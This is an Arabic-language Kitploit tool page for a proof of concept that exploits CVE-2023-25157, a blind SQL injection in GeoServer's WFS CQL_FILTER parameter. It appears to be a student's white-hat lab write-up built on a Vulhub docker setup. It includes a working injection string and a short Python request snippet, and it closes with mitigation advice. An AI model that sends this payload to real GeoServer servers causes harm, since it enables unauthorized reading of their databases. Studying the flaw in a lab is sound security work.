Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
geoserver-CVE-2023-25157 — إثبات مفهوم لاستغلال CVE-2023-25157، وهي ثغرة حقن SQL أعمى في معامل CQL_FILTER الخاص بـ WFS في GeoServer، مما يتيح استخراج البيانات دون مصادقة. | Kitploit
أدوات/GitHubGitHub/custiya/geoserver-cve-2023-25157
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

إثبات مفهوم لاستغلال CVE-2023-25157، وهي ثغرة حقن SQL أعمى في معامل CQL_FILTER الخاص بـ WFS في GeoServer، مما يتيح استخراج البيانات دون مصادقة.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

geoserver CVE-2023-25157

الفريق الأبيض (White Hat) الدفعة الثالثة [الصف 30] كيم جونغ-وو


رابط جيثب - https://github.com/custiya/geoserver-CVE-2023-25157

ملخص الثغرة

  • CVE-2023-25157 هي ثغرة SQLi تصيب GeoServer، وهو تطبيق ويب مفتوح المصدر لخدمات بيانات الخرائط
  • تحدث في بعض إصدارات GeoServer حتى 2.22.0 وما دون
  • المعامل المسمى CQL_FILTER في طلبات WFS (Web Feature Service) هو المُعرَّض للخطر
  • يمكن لأي شخص استغلالها إذا كان بإمكانه الوصول إلى هذه الواجهة البرمجية (API) دون مصادقة

إعداد البيئة

  • تشغيل بيئة الاختبار باستخدام الأمر docker compose up -d
  • يمكن الوصول إلى الصفحة عبر http://your-ip:8080/geoserver
  • يجب أولاً اكتشاف مساحة عمل موجودة تحتوي على مخزن بيانات PostGIS
  • يحتوي مثيل GeoServer في Vulhub بالفعل على مخزن بيانات PostGIS
    • اسم مساحة العمل: vulhub
    • اسم مخزن البيانات: pg
    • اسم الجدول: example
    • الخاصية المستخدمة: name

poc.py

  • نموذج لعبارة SQLi مبني على ما سبق وصفه أعلاه
  • يتم إرسال تلك العبارة إلى الخادم باستخدام وحدة request
  • strStartsWith(name,'x'') = true
    • إضافة علامة اقتباس ' إضافية بعد x لكسر صيغة SQL
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • دالة version() هي دالة تعيد الإصدار الحالي من PostgreSQL، وهي قيمة نصية (string)
  • CAST(... AS integer) يحوّل القيمة قسراً إلى عدد صحيح، مما يسبب حدوث خطأ
  • يستجيب الخادم برسالة خطأ، مما يتيح اختبار حقن SQL الأعمى (Blind SQL Injection)
  • root@kitploit:~
    # 대상 URL
    url = "http://localhost:8080/geoserver/ows"
    
    # CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
    cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
    
    # 파라미터 설정
    params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": "vulhub:example",
        "CQL_FILTER": cql_filter
    }
    

    النتيجة

    Alt text

    الخلاصة

    • من خلال هذا الـ PoC، أمكن التحقق من حدوث SQLi. يمكن للمهاجم جمع معلومات النظام عبر استعلامات SQL.
    • لمنع هذا الهجوم، يجب إضافة التحقق من مدخلات المستخدم. كما يجب عدم استخدام عبارات SQL المُدخلة مباشرةً كما هي، بل تخزينها بشكل منفصل ثم استخدامها.
    تنزيل الأداة